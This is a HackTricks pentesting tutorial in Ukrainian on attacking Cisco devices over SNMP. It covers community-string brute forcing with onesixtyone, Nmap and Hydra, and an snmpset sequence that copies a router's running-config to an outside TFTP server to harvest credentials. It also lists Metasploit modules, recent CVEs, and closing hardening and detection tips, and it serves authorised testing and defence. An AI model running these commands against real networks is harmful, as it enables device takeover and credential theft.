Cisco SNMP

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Pentesting Cisco Networks

SNMP функціонує через UDP з портами 161/UDP для загальних повідомлень та 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують у вигляді відкритих "паролів", що дозволяють зв'язок між SNMP агентами та менеджерами. Ці рядки визначають рівень доступу, зокрема тільки для читання (RO) або читання-запису (RW) дозволи.

Класичний — але все ще надзвичайно ефективний — вектор атаки полягає в брутфорсингу рядків спільноти з метою підвищення з неавторизованого користувача до адміністратора пристрою (RW спільнота). Практичний інструмент для цього завдання — onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Інші швидкі варіанти - це скрипт Nmap NSE snmp-brute або модуль SNMP Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Витягування конфігурації через SNMP (CISCO-CONFIG-COPY-MIB)

Якщо ви отримали RW community, ви можете скопіювати running-config/startup-config на TFTP/FTP сервер без доступу до CLI, зловживаючи CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Два поширені підходи:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

Скрипт автоматично організовує операцію копіювання та виводить конфігурацію на stdout.

  1. Ручна послідовність snmpset
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

Ідентифікатори рядків є однократними; повторне використання протягом п'яти хвилин викликає помилки inconsistentValue.

Як тільки файл буде на вашому TFTP сервері, ви зможете перевірити облікові дані (enable secret, username <user> secret тощо) або навіть надіслати модифіковану конфігурацію назад на пристрій.


Metasploit goodies

  • cisco_config_tftp – завантажує running-config/startup-config через TFTP після зловживання тією ж MIB.
  • snmp_enum – збирає інформацію про інвентаризацію пристроїв, VLAN, описи інтерфейсів, таблиці ARP тощо.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Останні вразливості Cisco SNMP (2023 – 2025)

Слідкування за рекомендаціями постачальників корисне для визначення можливостей zero-day-to-n-day під час залучення:

РікCVEВразлива функціяВплив
2025CVE-2025-20174Підсистема SNMPСформований пакет призводить до автентифікованого DoS (перезавантаження) на IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373Обробка ACL IPv4Неправильно налаштовані розширені ACL тихо падають, дозволяючи неавтентифіковане опитування SNMP, коли відома дійсна спільнота/користувач.
2025(немає CVE поки)Обхід обмеження конфігурації SNMPv3Дійсний v3 користувач може опитувати з адрес, які повинні бути заборонені.

Експлуатованість часто все ще залежить від наявності рядка спільноти або облікових даних v3 — ще одна причина, чому їх брутфорсинг залишається актуальним.


Поради з посилення безпеки та виявлення

  • Оновіть до виправленої версії IOS/IOS-XE (див. рекомендацію Cisco для вказаного CVE).
  • Вибирайте SNMPv3 з authPriv (SHA-256/AES-256) замість v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Прив'яжіть SNMP до управлінського VRF та обмежте за допомогою стандартних нумерованих ACL IPv4 (розширені іменовані ACL є ризикованими – CVE-2024-20373).
  • Вимкніть RW спільноти; якщо це необхідно для роботи, обмежте їх за допомогою ACL та переглядів: snmp-server community <string> RW 99 view SysView
  • Моніторте:
  • Сплески UDP/161 або несподівані джерела (правила SIEM).
  • Події CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource, що вказують на зміни конфігурації поза межами каналу.
  • Увімкніть SNMPv3 журналювання та snmp-server packetsize 1500, щоб зменшити певні вектори DoS.

Посилання

  • Cisco: Як копіювати конфігурації до та з пристроїв Cisco за допомогою SNMP
  • Cisco Security Advisory cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks